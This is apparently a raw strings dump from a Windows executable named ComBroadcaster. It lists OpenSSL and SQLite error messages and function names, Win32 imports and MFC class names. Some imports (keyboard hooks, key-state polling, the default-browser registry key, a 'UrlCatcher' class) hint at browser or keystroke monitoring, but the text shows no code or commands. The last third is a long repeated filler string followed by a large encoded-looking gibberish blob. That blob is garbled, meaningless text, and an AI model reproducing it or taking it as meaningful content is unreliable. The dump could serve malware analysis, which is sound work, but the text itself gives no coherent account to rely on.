DTLS1_SEND_SERVER_CERTIFICATE

DTLS1_SEND_CLIENT_KEY_EXCHANGE

DTLS1_SEND_CLIENT_CERTIFICATE

DTLS1_SEND_CERTIFICATE_REQUEST

DTLS1_OUTPUT_CERT_CHAIN

DTLS1_ADD_CERT_TO_BUF

CLIENT_MASTER_KEY

CLIENT_CERTIFICATE

TLSv1 part of OpenSSL 1.0.0e 6 Sep 2011

SSLv3 part of OpenSSL 1.0.0e 6 Sep 2011

SSLv2 part of OpenSSL 1.0.0e 6 Sep 2011

s->session->master_key_length >= 0 && s->session->master_key_length < (int)sizeof(s->session->master_key)

c->iv_len <= (int)sizeof(s->session->key_arg)

s->s2->key_material_length <= sizeof s->s2->key_material

key expansion

client write key

server write key

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

.\crypto\engine\eng_pkey.c

Load certs from files in a directory

%s%clx.%s%d

unsupported type

unsupported recpientinfo type

unsupported recipient type

unsupported kek algorithm

unsupported content type

signer certificate not found

private key does not match certificate

no public key

no private key

no msgsigdigest

no key or cert

no key

not supported for this key type

not key transport

msgsigdigest wrong length

msgsigdigest verification failure

msgsigdigest error

invalid key length

invalid encrypted key length

error setting key

error getting public key

certificate verify error

certificate has no keyid

certificate already present

CMS_SIGNERINFO_VERIFY_CERT

CMS_RecipientInfo_set0_pkey

CMS_RecipientInfo_set0_key

CMS_RecipientInfo_ktri_cert_cmp

cms_msgSigDigest_add1

CMS_GET0_CERTIFICATE_CHOICES

CMS_EncryptedData_set1_key

CMS_decrypt_set1_pkey

CMS_decrypt_set1_key

CMS_add1_recipient_cert

CMS_add0_recipient_key

CMS_add0_cert

unsupported requestorname type

no certificates in chain

error parsing url

PARSE_HTTP_LINE1

OCSP_parse_url

OCSP_cert_id_new

unimplemented public key method

invalid cmd number

invalid cmd name

failed loading public key

failed loading private key

cmd not executable

ENGINE_UNLOAD_KEY

ENGINE_load_ssl_client_cert

ENGINE_load_public_key

ENGINE_load_private_key

ENGINE_get_pkey_meth

ENGINE_get_pkey_asn1_meth

ENGINE_ctrl_cmd_string

ENGINE_ctrl_cmd

ENGINE_cmd_is_executable

unsupported version

unsupported md algorithm

invalid signer certificate purpose

ess signing certificate error

ess add signing cert error

TS_VERIFY_CERT

TS_TST_INFO_set_msg_imprint

TS_RESP_CTX_set_signer_cert

TS_RESP_CTX_set_certs

TS_REQ_set_msg_imprint

TS_MSG_IMPRINT_set_algo

TS_CHECK_SIGNING_CERTS

ESS_SIGNING_CERT_NEW_INIT

ESS_CERT_ID_NEW_INIT

ESS_ADD_SIGNING_CERT

functionality not supported

WIN32_JOINER

unsupported pkcs12 mode

key gen error

PKCS8_add_keyusage

PKCS12_PBE_keyivgen

PKCS12_newpass

PKCS12_MAKE_SHKEYBAG

PKCS12_MAKE_KEYBAG

PKCS12_key_gen_uni

PKCS12_key_gen_asc

PKCS12_add_localkeyid

unsupported option

unable to get issuer keyid

policy syntax not currently supported

operation not defined

no proxy cert policy language defined

no issuer certificate

extension setting not supported

V2I_EXTENDED_KEY_USAGE

V2I_AUTHORITY_KEYID

S2I_SKEY_ID

S2I_ASN1_SKEY_ID

R2I_CERTPOL

unsupported cipher type

unable to find certificate

signing not supported for this key type

operation not supported on this type

no recipient matches key

no recipient matches certificate

encryption not supported for this key type

decrypted key is wrong length

PKCS7_add_certificate

unsupported method

no port specified

no port defined

no accept port specified

broken pipe

BIO_get_port

ECDH_compute_key

data too large for key size

unsupported field

passed null parameter

not a supported NIST prime

missing private key

keys not set

invalid private key

PKEY_EC_SIGN

PKEY_EC_PARAMGEN

PKEY_EC_KEYGEN

PKEY_EC_DERIVE

PKEY_EC_CTRL_STR

PKEY_EC_CTRL

o2i_ECPublicKey

i2o_ECPublicKey

i2d_ECPrivateKey

EC_KEY_print_fp

EC_KEY_print

EC_KEY_new

EC_KEY_generate_key

EC_KEY_copy

EC_KEY_check_key

ECKEY_TYPE2PARAM

ECKEY_PUB_ENCODE

ECKEY_PUB_DECODE

ECKEY_PRIV_ENCODE

ECKEY_PRIV_DECODE

ECKEY_PARAM_DECODE

ECKEY_PARAM2TYPE

DO_EC_KEY_PRINT

d2i_ECPrivateKey

zlib not supported

wrong public key type

unsupported public key type

unsupported encryption algorithm

unsupported any defined by type

unknown public key type

unable to decode rsa private key

unable to decode rsa key

streaming not supported

private key header missing

digest and key type not supported

bad password read

X509_PKEY_new

i2d_RSA_PUBKEY

i2d_PublicKey

i2d_PrivateKey

i2d_EC_PUBKEY

i2d_DSA_PUBKEY

d2i_X509_PKEY

d2i_PublicKey

d2i_PrivateKey

d2i_AutoPrivateKey

unsupported algorithm

unknown key type

unable to get certs public key

public key encode error

public key decode error

no cert set for us to verify

method not supported

loading cert dir

key values mismatch

key type mismatch

cert already in hash table

cant check dh key

X509_verify_cert

X509_STORE_add_cert

X509_REQ_check_private_key

X509_PUBKEY_set

X509_PUBKEY_get

X509_load_cert_file

X509_load_cert_crl_file

X509_get_pubkey_parameters

X509_check_private_key

GET_CERT_BY_SUBJECT

ADD_CERT_DIR

PKEY_DSA_KEYGEN

PKEY_DSA_CTRL

unsupported key components

unsupported encryption

read key

public key no rsa

problems getting password

keyblob too short

keyblob header parse error

expecting public key blob

expecting private key blob

error converting private key

PEM_WRITE_PRIVATEKEY

PEM_READ_PRIVATEKEY

PEM_READ_BIO_PRIVATEKEY

PEM_PK8PKEY

PEM_F_PEM_WRITE_PKCS8PRIVATEKEY

DO_PK8PKEY_FP

DO_PK8PKEY

d2i_PKCS8PrivateKey_fp

d2i_PKCS8PrivateKey_bio

unsupported salt type

unsupported private key algorithm

unsupported prf

unsupported key size

unsupported key derivation function

unsupported keylength

unsuported number of rounds

private key encode error

private key decode error

operaton not initialized

operation not supported for this keytype

no operation set

no key set

keygen failure

invalid operation

expecting a ec key

expecting a ecdsa key

expecting a dsa key

expecting a dh key

expecting an rsa key

different key types

ctrl operation not implemented

command not supported

camellia key setup failed

bn pubkey error

bad key length

aes key setup failed

PKEY_SET_TYPE

PKCS5_v2_PBE_keyivgen

PKCS5_PBE_keyivgen

EVP_PKEY_verify_recover_init

EVP_PKEY_verify_recover

EVP_PKEY_verify_init

EVP_PKEY_verify

EVP_PKEY_sign_init

EVP_PKEY_sign

EVP_PKEY_paramgen_init

EVP_PKEY_paramgen

EVP_PKEY_new

EVP_PKEY_keygen_init

EVP_PKEY_keygen

EVP_PKEY_get1_RSA

EVP_PKEY_get1_EC_KEY

EVP_PKEY_GET1_ECDSA

EVP_PKEY_get1_DSA

EVP_PKEY_get1_DH

EVP_PKEY_encrypt_old

EVP_PKEY_encrypt_init

EVP_PKEY_encrypt

EVP_PKEY_derive_set_peer

EVP_PKEY_derive_init

EVP_PKEY_derive

EVP_PKEY_decrypt_old

EVP_PKEY_decrypt_init

EVP_PKEY_decrypt

EVP_PKEY_CTX_dup

EVP_PKEY_CTX_ctrl_str

EVP_PKEY_CTX_ctrl

EVP_PKEY_copy_parameters

EVP_PKEY2PKCS8_broken

EVP_PKCS82PKEY_BROKEN

EVP_PKCS82PKEY

EVP_CIPHER_CTX_set_key_length

ECKEY_PKEY2PKCS8

ECDSA_PKEY2PKCS8

DSA_PKEY2PKCS8

DSAPKEY2PKCS8

D2I_PKEY

CAMELLIA_INIT_KEY

AES_INIT_KEY

invalid public key

PKEY_DH_KEYGEN

PKEY_DH_DERIVE

GENERATE_KEY

COMPUTE_KEY

rsa operations not supported

key size too small

invalid keybits

illegal or unsupported padding mode

digest too big for rsa key

data too small for key size

RSA_generate_key

RSA_check_key

RSA_BUILTIN_KEYGEN

PKEY_RSA_VERIFYRECOVER

PKEY_RSA_SIGN

PKEY_RSA_CTRL_STR

PKEY_RSA_CTRL

inflate 1.2.5 Copyright 1995-2010 Mark Adler

inflate 1.1.3 Copyright 1995-1998 Mark Adler

-3.7.8

SQLite format 3

CREATE TABLE sqlite_master(

sql text

CREATE TEMP TABLE sqlite_temp_master(

REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY

!"#$%&'()* ,-./:;<=>?@[\]^_`{|}~

%d.%d.%d.%d

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

Software\Classes\.html

debug.txt

unexpected key token

expected key token

,[]{}#&*!|>'"%@`

?,[]{}#&*!|>'"%@`

tag:yaml.org,2002:

#;/?:@&= $,_.!~*'()[]

#;/?:@&= $_.~*'

illegal map key

?:,]}%@`

large file support is disabled

unknown operation

SQL logic error or missing database

foreign_keys

sqlite_compileoption_get

sqlite_compileoption_used

sqlite_log

sqlite_source_id

sqlite_version

sqlite_stat2

sqlite_attach

sqlite_detach

sqlite_stat1

sqlite_rename_parent

sqlite_rename_trigger

sqlite_rename_table

RowKey

SQLITE_

d-d-d d:d:d

d:d:d

d-d-d

failed to allocate %u bytes of memory

failed memory resize %u to %u bytes

922337203685477580

API call with %s database connection pointer

OsError 0x%x (%u)

os_win.c:%d: (%d) %s(%s) - %s

delayed %dms for lock/sharing conflict

%s-shm

%s\etilqs_

Recovered %d frames from WAL file %s

cannot limit WAL size: %s

invalid page number %d

2nd reference to page %d

Failed to read ptrmap key=%d

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

%d of %d pages missing from overflow list starting at %d

failed to get page %d

freelist leaf count too big on page %d

Page %d:

unable to get the page. error code=%d

btreeInitPage() returns error code %d

On tree page %d cell %d:

On page %d at right child:

Corruption detected in cell %d on page %d

Multiple uses for byte %d of page %d

Fragmentation of %d bytes reported as %d on page %d

Page %d is never used

Pointer map page %d is referenced

Outstanding page count goes from %d to %d during this analysis

unknown database %s

keyinfo(%d

%s(%d)

%s-mjX

foreign key constraint failed

unable to use function %s in the requested context

bind on a busy prepared statement: [%s]

zeroblob(%d)

abort at %d in [%s]: %s

constraint failed at %d in [%s]

cannot open savepoint - SQL statements in progress

no such savepoint: %s

cannot %s savepoint - SQL statements in progress

cannot rollback transaction - SQL statements in progress

cannot commit transaction - SQL statements in progress

sqlite_temp_master

sqlite_master

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

cannot change %s wal mode from within a transaction

database table is locked: %s

statement aborts at %d: [%s] %s

cannot open value of type %s

cannot open virtual table: %s

cannot open view: %s

no such column: "%s"

foreign key

indexed

cannot open %s column for writing

misuse of aliased aggregate %s

%s: %s.%s.%s

%s: %s.%s

not authorized to use function: %s

%r %s BY term out of range - should be between 1 and %d

too many terms in %s BY clause

Expression tree is too large (maximum depth %d)

variable number must be between ?1 and ?%d

too many SQL variables

too many columns in %s

EXECUTE %s%s SUBQUERY %d

misuse of aggregate: %s()

%.*s"%w"%s

%s%.*s"%w"

%s OR name=%Q

type='trigger' AND (%s)

sqlite_

table %s may not be altered

there is already another table or index with this name: %s

view %s may not be altered

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');

sqlite_sequence

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

Cannot add a PRIMARY KEY column

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

sqlite_altertab_%s

CREATE TABLE %Q.%s(%s)

DELETE FROM %Q.%s WHERE %s=%Q

SELECT tbl, idx, stat FROM %Q.sqlite_stat1

invalid name: "%s"

too many attached databases - max %d

database %s is already in use

unable to open database: %s

no such database: %s

cannot detach database %s

database %s is locked

%s %T cannot reference objects in database %s

access to %s.%s.%s is prohibited

access to %s.%s is prohibited

object name reserved for internal use: %s

there is already an index named %s

too many columns on %s

duplicate column name: %s

default value of column [%s] is not constant

table "%s" has more than one primary key

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

no such collation sequence: %s

CREATE %s %.*s

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

CREATE TABLE %Q.sqlite_sequence(name,seq)

view %s is circularly defined

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

table %s may not be dropped

use DROP TABLE to delete table %s

use DROP VIEW to delete view %s

DELETE FROM %s.sqlite_sequence WHERE name=%Q

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

foreign key on %s should reference only one column of table %T

number of columns in foreign key does not match the number of columns in the referenced table

unknown column "%s" in foreign key definition

indexed columns are not unique

table %s may not be indexed

views may not be indexed

virtual tables may not be indexed

there is already a table named %s

index %s already exists

sqlite_autoindex_%s_%d

table %s has no column named %s

CREATE%s INDEX %.*s

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

no such index: %S

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

a JOIN clause is required before %s

unable to identify the object to be reindexed

table %s may not be modified

cannot modify %s because it is a view

foreign key mismatch

table %S has %d columns but %d values were supplied

%d values for %d columns

table %S has no column named %s

%s.%s may not be NULL

PRIMARY KEY must be unique

sqlite3_extension_init

unable to open shared library [%s]

no entry point [%s] in shared library [%s]

error during initialization: %s

automatic extension loading failed: %s

foreign_key_list

*** in database %s ***

unsupported encoding: %s

malformed database schema (%s)

%s - %s

unsupported file format

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

database schema is locked: %s

unknown or unsupported join type: %T %T%s%T

RIGHT and FULL OUTER JOINs are not currently supported

a NATURAL join may not have an ON or USING clause

cannot have both ON and USING clauses in the same join

cannot join using column %s - column not present in both tables

USE TEMP B-TREE FOR %s

COMPOUND SUBQUERIES %d AND %d %s(%s)

%s.%s

%s:%d

ORDER BY clause should come after %s not before

LIMIT clause should come after %s not before

SELECTs to the left and right of %s do not have the same number of result columns

no such index: %s

sqlite_subquery_%p_

no such table: %s

SCAN TABLE %s %s%s(~%d rows)

sqlite3_get_table() called with two or more incompatible queries

cannot create %s trigger on view: %S

cannot create INSTEAD OF trigger on table: %S

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

no such trigger: %S

-- TRIGGER %s

no such column: %s

cannot VACUUM - SQL statements in progress

PRAGMA vacuum_db.synchronous=OFF

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

vtable constructor failed: %s

vtable constructor did not declare schema: %s

no such module: %s

table %s: xBestIndex returned an invalid plan

%s SUBQUERY %d

%s TABLE %s

%s AS %s

%s USING %s%sINDEX%s%s%s

%s USING INTEGER PRIMARY KEY

%s (rowid=?)

%s (rowid>? AND rowid<?)

%s (rowid>?)

%s (rowid<?)

%s VIRTUAL TABLE INDEX %d:%s

%s (~%lld rows)

at most %d tables in a join

cannot use index: %s

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

unable to close due to unfinished backup operation

unknown database: %s

no such %s mode: %s

%s mode not allowed: %s

no such vfs: %s

database corruption at line %d of [%.10s]

misuse at line %d of [%.10s]

cannot open file at line %d of [%.10s]

1.2.5

C:\appbuilder_v2\src\ComBroadcaster-1.10\Release\ComBroadcaster.pdb

SHELL32.dll

RPCRT4.dll

GetWindowsDirectoryW

GetCPInfo

PeekNamedPipe

GetProcessHeap

KERNEL32.dll

EnumChildWindows

EnumWindows

UnhookWindowsHookEx

GetKeyState

SetWindowsHookExW

MapVirtualKeyW

GetAsyncKeyState

CreateDialogIndirectParamW

GetKeyboardLayout

GetKeyboardState

GetKeyNameTextW

MapVirtualKeyExW

USER32.dll

GetViewportExtEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GetViewportOrgEx

GDI32.dll

WINSPOOL.DRV

COMDLG32.dll

RegOpenKeyExW

RegCloseKey

RegOpenKeyExA

RegCreateKeyExW

RegDeleteKeyW

RegEnumKeyExW

ADVAPI32.dll

ShellExecuteW

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

MSIMG32.dll

COMCTL32.dll

OLEACC.dll

GdiplusShutdown

gdiplus.dll

IMM32.dll

SHFileOperationW

VERSION.dll

WS2_32.dll

WINMM.dll

WLDAP32.dll

ReportEventA

.?AUDWebBrowserEvents2@@

.PAVCException@@

.PAVCMemoryException@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.?AVCCmdTarget@@

.PAVCArchiveException@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCUserException@@

.PAVCResourceException@@

.PAVCFileException@@

.?AVCMDITabProxyWnd@@

.?AVCMDIChildWndEx@@

.?AVCMDIChildWnd@@

.?AVCMDIFrameWndEx@@

.?AVCMDIFrameWnd@@

.?AVCMFCToolBarCmdUI@@

.?AVCMFCAcceleratorKey@@

.?AVCMFCColorBarCmdUI@@

.?AV?$CMap@KKV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_W@@

.?AV?$CList@PAVCMDIChildWndEx@@PAV1@@@

.?AVCMDIClientAreaWnd@@

.?AVCMFCRibbonCmdUI@@

.?AVCMFCCmdUsageCount@@

.?AV?$CMap@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_WPAVCObList@@PAV3@@@

.?AV?$CMap@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_WHH@@

.?AVCMFCRibbonKeyTip@@

.?AVCMFCToolBarsKeyboardPropertyPage@@

.?AVCMFCTasksPaneToolBarCmdUI@@

.?AVCMFCAcceleratorKeyAssignCtrl@@

zcÁ

.?AV?$CAtlExeModuleT@VCDummyModule@@@ATL@@

.?AVUrlCatcher@@

Inappropriate I/O control opera

sdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadX6CCA4tt6nxxNYjjPIvvK*NNv/WWdk66q`QQ4\nn5LXXGbVV4uww1Qllacppe4nnGOXXd"aaB`kkByggR:SS3cjjB6bbJ5ggo8xxw$qqZOCCx966j"xx2655VMjj3$jjp.kkpjVVOJCCf}XXLqmm2J55Z|vvv<nnd{bbwwqqH/pp2UnnsVSSeexxLHkkzXww6[CCe<00m8ttw$bbPOll2XRRL}wwv'tt2QkkcaddB?oozNxxf\CCe/VVw|vvwoaa1qpp4"qq8nWWc]qqzvQQw}ee3OQQezRRY;QQf_11RXCCwe55JOmmJ<nn3eppJO11AfSSJ=HHVeww3nddOunnN<VVr4llN4LLowjjebHH4 wwH(ddc&kkdXxxvLXXx_ggh pp4_nny9QQwzuuVxuus6llulggNjggf/uu1/ggA|ppHgVV6;uufP33v0uu1 ttJBnnH.VVzsnnJxNNb7uu39llwUbb4Att3PppfZddM2xxsMlll>uuzSggYpxxdLHHPuCCNqbbPvQQdgXXA'XXr xxC]jjHxjjgEpp2QXXa[jjcVnnYbQQrnggv^mmfGlla?ggv nnoQwwHC331!uuvNxxe'ggm"ww3Mmmw_xxR/ggG=ww4*lldfY$jj2dxxE>wws|LLAEooz<ddP<SSwvooZrppee00suxxvKlln<nnc[qqyIww4GHHPannH9jj5Bkkm;xxz4vvG}ggoGnnJ2RRl-ttvOnnn@jjw@qqcIllv,00n/llN{ggRqCCG2xxeWWWzcNNnRwwd$jjr}vvGLnnM(wwZ$qqc`llw_00b3uu2T99JxxxNZtt2bWW1~LLPxttvteeJ uuZ{xx5Owwf?XXbrWWf]wwN5xxHyRRv*nn2|LLVOCCJuIIA[vvrHLL1OXXN[ddxqQQwK66P?ttw}SSH ooG5lluNCCxXww1PlldwVV5WWWw/RRLOCCGmSS6@bbNnllx6xxraLLzBSSfLRRJ}ppd;ww5WwwZNVV66XXd:NNKgxxf|NNr*bbH\33cUppczNNxMjj3Ntt1XxxfXIIr2vvvjVVTmCCc]xxhbllxuNNEBggJDLLPVQQH~xxigbbNUww4TSSc=HHZkppN066r^mmf{ggEGoo3,nnh)ggHLVVV/pp1cxxaznnZ\nnCfbbpfwwEivvvdddK~QQAieeZ2WWZgooJgWWx=aaPMuuGVooA@mmcujjv!hhN-ggC7bb2t00t*ooK7xxE5WWH]IIfFWWZBNNs7vvN%XXw`llZ>XXUspp4VXXp wwAubbZ"XXef66T|oofT00Ezuuf9ggE(QQcwddGpbbw?LLkVXX28SSE0vvc|NNsmuuv$ddlRvvHvUU1YQQ3V66JMkkeVNNN{llKywwJPnnr5NNz9vvcxNNviggz%xxKtooNDtt1%ppeuuuHQbbpuNNG<nnm,nn2oQQ3xxxd]WWwd003ullJ~LL1VllHQxxGCggzydds1bbN|jjffQQJIggyfxxzaNNpwwww~00U\QQc;VVwAmmr\XXJ`hhH)996NjjK[qqr^CCJ/LLlooo1#NNAEggzNeeR6wwpvllPaXXxkxxkonnJ5xx2)WWJ/jj1IllwUddIUuuZfddr^uuH(VVE^wwp}jjTESS2rjjNupp11LL8JmmJ"IIKTXX31ttB)yys8ggffjjKMLLK%nnr_XXUhooGRVVhyvvKCqq3pooe\oo4@llHI33C7CCvXoo1foo1/EEB!kkB6ggi;SSwb11Ahoofz55J6nn3Ldd6TWWK,nnpCuu1Q66oZnnz;FFJ6uuw1ww5?jjekjjfDCCJ0LLyNllB]MM3Uxxx@nnp5bbJ(RRU$QQ4(dd6#xxmlddIlxx4^nn1_lle0LLr=ccJfHH4#hhHvNNwvwweT00fguuGCFFNdnnwIllIiXXZ&VVlaccJP33pySS4WttN SS4lXXphvvwq66O(llH$ddpnWWdJqqt$uuJuLLeNSSwRLLn[nne3NNUaXXJQ553rvvd7dd5rwweFFF1iwwd/FF4qnnx?jjv!QQJFbbZOppB7xx3dttvfFF6=XX1133K-QQJ!xxN"ccJ3llUVppN;XXt9xx30ddJ{XXc&MM1,XX1Jgg4}jjN ddC`QQ3_SS25CCwX11EqkkftFFNIQQ1GIIRqSSNvXXLnxxxWxxR/ttw6UU2<uuzTggLZhhHzllLjllGoggwlWWf{RRI%ggx&oo3PQQJwggZvSS37ggU|mmHbeeJoxxsFttU>ttHzNNkuood2jjy_CCv466j4llv#llfTttG-MMBcnn2%VVn#bbKMxx6uggJunnMwggcijjA@uuKyeeJ%QQJXSS64WWxt66n vvzmNNxWjjzwxxkHggrYNNj3llHaqqb;ppBXllVOggx.FFE]vvc1xxs@CCmHddc1WWfXeeHBjjx(VVxjllm:ww69ppzKuuV}llHB66tjQQd5gg5!llzqnn5sccNBVVo'llZallGibbJ_LLOfmmv;UUEZxx2oVVh^xxrRggOCQQHgLLy%uuK)jjCEvvvo33kbttvAVVmGjj4LuuH4llv\jjN,ggJ(xxHnxx2"LLlXjjJ~ddj/vvxillmYmmcQnnVeuueJwwV|vvp>SSRyxxp(bbA?ttB6EEBcmmHr66kyjjH?ooPfjjZ`nn8/hhJ;nnaGoovARRkqpp41ggB ggBrxxKaSSs1tt8IttNcVV5Ouuztuu32QQ1oXXs#xx3Sxx6YccN,qqMjWW2*ttZXggm`ddzaQQm%nndpWWdJttJ|pp2@LLc'jjr?ddqWwwfOLL8|SSf&nnZellKiFF3jwwJ)668%uu22FF3Vpp3heeAqXXcWNN3Fooe,66B'xx2O00sPWW44FF6fooJBLLTsQQGZjjU0XXe\nnTmkkdc66G6CCc?VVbUggJ`ddhnkkxLggU.mmpxnnL3ppxqllTrxxJ#RRo}XXNxXXkDppes555JxxcDLLl>uudgll2$xx1=XXU!ppw>33xEbb4tllY%xxe5ggaxllZSggh/ppwVEEH*XX1nggwDppd_ooR@jjx=uu6SQQfMMMN_SS1?jjRqWWJ966R[mmw^66Cjooe)xx2Gkkw}gge^wws=eeAFxxe5HHE_nnwKFF21ppGBxxcLQQfAVVVEvvxWwwV"bb2IEEA?XX4ullI)uuZvXX8@wwei33omnnGJll2Cmmfillyznnw~66iwxxHP00Zwnn2%RRW xxBFddy5kkw.FFPNjjBHnnr}llvWdd3nXXJ]55V6bb3MNNH1llv5XXj~ll1sggB$jjw366UiWWH8NNJqvvxJSS44jjZbxxo'oo48ddx@hhHm11ZqooGRee1{WWHXgga#ggdyxxC^wwNBXXK`ppxFLL8vbbHxggH(ttxAdd4}oozBNNk,jjwFIIxBCCKgnn2{XXBXxxN{nnJUxxnsWWHFMM5>QQx'jjt{WWpXxxC}XXd}ooPHnnw1ddz-ggf`III?nn1tddu$hhN7jjU*jjZpjjEtuue/NNMfnn2]IIn/nnxLHHV{ppJnRRKAppc*nnKLllNhnnr\CCd?XXwDuu2NLLajWWN4XXN(llGadd2toow 00Zdmmw{llAkll2MLLeCkke~NNO!nnZ0ggg\uusNttU0ttNVNNI/ww2=MMN$WW3NxxJopp1,eeAcxxfORRG=XXw&nnIKttGQMMBqwwHCggz:uuN>aa4;WWfOLLI^ll1~ee5.ww1mtt3tjjp VVorQQv633Z2xx2pjju.ppZCggM9CCpGVV16xxetIItZXXKXggk/nnd qqunQQv\ww1Cnnw4RRz2vve*llUYnnNlggU~nnNeMMH0uuKfSSRWggf&xxm$QQfS11PzSSc*lltcnnv{EENTllp$nnr1xxx'nnZ:ll1UMMP|xxeBddw4hhBWnnoCjjvWXXsDjje?0083WWA'llrPCCw&ggY;vvd)ee2fhhJT66HbCCK^NNL>XXJ$XXv:kkdeww5rnnB/ooJcWWwA66j<uuz3nnY>WW2NllV9mmcHMM3mCCd*aa44ppK$VVhMuuNK66t>oo4,nnoDxxZ{nnn-pp1]00q:wwA*ddpyppx/xxvLhhN.66s,vvwVRRY_nnHELLMQSSNFqqmkWWm"wwHHhhH=66GpjjdGNNy-ppvwnnbFXX4zVVB8SSAqnnn@ttxIjjp`jj3zjje%QQJ~xxs$SSrgHHZRXXp XXg5uu1WnnO4xxNMddruXX2tgguOjjdh55EgWWGtqqkejjxpxxMAnnJsNNr`mm1tEE3KxxmHMMZ:ttc6ttAgQQ1SXXPull1111R~CCw&uuPIlle^ww6noop"XXpFooK/VVEpoox)xxn WWx>FFRSQQr!VVtPXXw^ggL\ggfkggu#bb3kjjAqwwAunnfZbbHSII1@QQmQddetWWc?VVj.QQf`EE62vvHellj*wwf^00j#WWxlggi?mm1KddBGSSfVRRA&XXwmLL5 